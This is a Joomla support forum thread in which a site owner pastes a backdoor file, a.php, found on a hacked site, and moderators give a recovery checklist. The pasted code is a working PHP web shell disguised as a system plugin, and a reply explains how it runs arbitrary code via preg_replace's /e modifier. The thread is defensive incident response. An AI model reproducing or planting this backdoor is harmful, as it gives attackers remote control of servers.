virus files uploaded

[mdem]

Hello,

i have found out, that there was an upload of files to my joomla site into the folder components.
One file was called: a.php
The code inside is:

Code: Select all

<?php
/**
 * @package     Joomla.Plugin.System
 * @since       1.5
 *
 *
 */
class PlgSysJoomla {
public function __construct() {
$file=@$_COOKIE['Jlma3'];
if ($file){ $opt=$file(@$_COOKIE['Jlma2']); $au=$file(@$_COOKIE['[removed]']); $opt("/292/e",$au,292); die();} else {phpinfo();die;}}}
$index=new PlgSysJoomla;

what has happened?
I deleted the file and changed the passwords.
What should i do next?
I am using already admin tools with admin password.

Before you post your security/been hacked topic, it is suggested to do all of the following. Failure to follow the suggestions below may leave your site vulnerable to being hacked again in the future.

You must state what version of Joomla you were using when the site first became hacked. This can make a difference as to how we approach your individual situation.

[ ] Download and RUN the Forum Post Assistant / FPA Instructions available here and are also included in the download package. Post the generated results in your security/been hacked topic. Use these links to download the FPA:
Download .tar.gz version or Download the .zip version NOTE: Do not download the FPA from any other website or links found on the Internet.

[ ] Ensure you have the latest version of Joomla for your version of Joomla. Delete all files in your Joomla installation, saving a copy of the configuration.php file.

[ ] Review Vulnerable Extensions List to make sure any 3rd party extensions versions used appear on the vulnerable list.

[ ] Review and action Security Checklist 7 Make sure you've gone through all of the steps.

[ ] Scan all machines with FTP, Joomla super admin, and Joomla admin access for malware, virus, trojans, spyware, etc. Checklist 7 contains a list or recommended scanners.

[ ] Change all passwords and if possible user names for the website host control panel. Change the Joomla database user name and password.

[ ] Use proper permissions on files and directories. They should never be 777, ideal is 644 for files and 755 for directories. The configuration file can be set to 444 which is read only.

[ ] Check your htaccess for for any odd code (i.e. code which is not in the standard htaccess supplied as part of the Joomla installation).

[ ] Check the crontab or Task Scheduler for unexpected jobs/tasks.

[ ] Ensure you do not have anonymous ftp enabled.

[ ] Verify individually that any non-Joomla file such as but not limited to that will be placed back on the website such as images, pdf files, files for download, and other documents and files are valid and are supposed to be part of your website.

[ ] Replace the deleted files by

[*]Create a new database and install without sample data to it(make sure it the same version as previous site).
[*] Install the 3rd party extensions(including any custom template) to the new Joomla. (That insures you have the files in place for the 3rd party extensions)
[*] Edit the configuration.php file of the new Joomla to connect to your original database.
[*] Make a backup and update to the current full version of Joomla

Only by replacing all files in the installation (including extensions and templates) can you be sure to remove the backdoors inserted and hidden in various files and directories More detailed information can be found in the Security Checklist 7 document.

Note: The forum post tool will work with all versions of Joomla. The FPA is written and maintained by the Joomla Security forum moderators.

Hello,

i found out, that i had the "no number framework" installed and not updated.
I have two other joomlas running with exactly the same problem.

I hope, after cleaning them from the framework, they are safe from hacking attempts.

Thanks for support so far.

Maurizio

[leolam]

Why? most extensions outdated. You ask for trouble of you do not upgrade

Leo

[mdem]

As far as i can see, all extensions i use are now updated, so far as they are provided.

The nonumber framework with the plugins tabs and slides wasn´t focussed by me. A mistake.

What i learned now is, to look realy close to all axtensions, plugins and tools.

Thx for your advice.

[mandville]

Did you follow checklist 7 or just update ?

[mdem]

i am working on it.

Still busy ....

Just want to inform that the script hacker used is, to execute php code using preg_replace function:

Code: Select all

$opt("/292/e",$au,292);

is approximately equalent to

Code: Select all

preg_replace("/292/e","[PHP code]",292); 

php version < 5.5.0 has 'e' modifier which allows to evaluate the replaced string as php code.

In summary, the code gives option to execute any php script (with eval() function, any system command) on the server.

The free security plugin JHackguard has an option to disable file upload by guests and I uses that option.

Just want to inform that the script hacker used is, to execute php code using preg_replace function:...

There are many scripts but that is not the point.

What matters is

• How did the hacker gain access to the server to run the script ?
• Were all the files deleted and replaced with fresh ones or were the extensions just updated ?
• Were all computers with server(or admin) access scecked for viruses ?
• Was everything on http://forum.joomla.org/viewtopic.php?f=621&t=582854 followed in the correct order ?

[mandville]

The free security plugin JHackguard

and last we knew placed backlinks all over your site

[Slackervaara]

In 2.5 version that I am using you can turn backlinks off and it is just one click on a button.
